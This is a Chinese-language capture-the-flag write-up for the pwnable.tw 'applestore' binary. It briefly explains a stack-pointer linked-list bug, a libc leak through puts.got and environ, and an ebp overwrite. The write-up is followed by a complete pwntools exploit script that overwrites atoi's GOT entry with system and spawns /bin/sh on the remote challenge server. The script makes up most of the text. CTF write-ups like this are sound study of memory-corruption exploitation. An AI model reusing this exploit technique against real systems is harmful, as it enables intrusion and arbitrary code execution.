pwnable-applestore

Table Of Contents

思路

这道题可以很容易看到是一个双向链表的管理,结构体也很好逆

漏洞在于在添加iphone 8时没有新建结构体,直接存了栈上的一个指针,所以这个node的next,prev都是栈上的内容

总价格要7174,所以用z3解一下

然后我就懵逼了,因为最后iphone 8的node的name和price的值都没法直接leak,如果加完iphone 8 leak出来时atoi函数上的指令。

于是我就去查了别的wp,然后我发现在之前yes/no的地址是在栈上的,我动调发现离node只有2个byte,也就是输完’y\x00’就能覆盖这个node然后leak,于是乎把它改成我想leak的东西,比如puts.got。

之后我又懵逼了,实在想不出getshell的方法,看v爷爷wp说got和ebp对换,看得我很懵逼。后来想起主函数的ebp是保存在栈上的,retn的时候会pop ebp,所以只要改这个值就能控制ebp,而仔细看一下发现read的地址就是通过ebp取的,也就是说只要知道栈地址就能任意写。

于是乎发现libc的environ会保存栈地址,所以就能通过这个leak栈地址了。

exp

from PwnContext import *
from libnum import *

try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

def add(index):
    sla('> ','2')
    sla('> ',str(index))
    # sl(str(index))

def dele(content):
    sla('> ','3')
    sla('> ',content)

def list(content):
    sla('> ','4')
    sla('> ',content)

def checkout(content):
    sla('> ','5')
    sla('> ',content)


if __name__ == '__main__':        
    # context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\0'))
    uu64    = lambda data   :u64(data.ljust(8, '\0'))
    
    ctx.binary = './applestore'
    ctx.remote = ('chall.pwnable.tw', 10104)
    ctx.remote_libc = './libc.so.6'
    ctx.debug_remote_libc = True
    # rs()
    rs('remote')
    print(ctx.libc.path)

    for i in range(16):
        add(1)
    for i in range(10):
        add(4)
    # dbg('b *0x8048B64')
    checkout('y\x00')
    # dbg()
    list('y\x00'+p32(ctx.binary.got['puts'])+'\x00'*12)
    ru('27: ')
    puts = u32(ru('\n')[:4])
    libc_base = puts - ctx.remote_libc.symbols['puts']
    print "puts: " + hex(puts)
    print "libc_base: " + hex(libc_base)
    system = libc_base + ctx.remote_libc.symbols['system']
    print "system: " + hex(system)
    environ = libc_base + ctx.remote_libc.symbols['environ']

    list('y\x00'+p32(environ) + '\x00'*12)
    ru('27: ')
    stack = u32(ru('\n')[:4])
    print hex(stack)
    ebp = 0xff971748 - 0xff97184c + stack


    # dbg('b *0x8048A70')
    # print hex(ctx.binary.got['atoi'])
    dele('27'+p32(system)*2 + p32(ctx.binary.got['atoi'] + 0x22) +  p32(ebp - 8))
    # dbg()
    sl(p32(system) + '||/bin/sh')

    irt()

说点什么

avatar

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据

  Subscribe  
提醒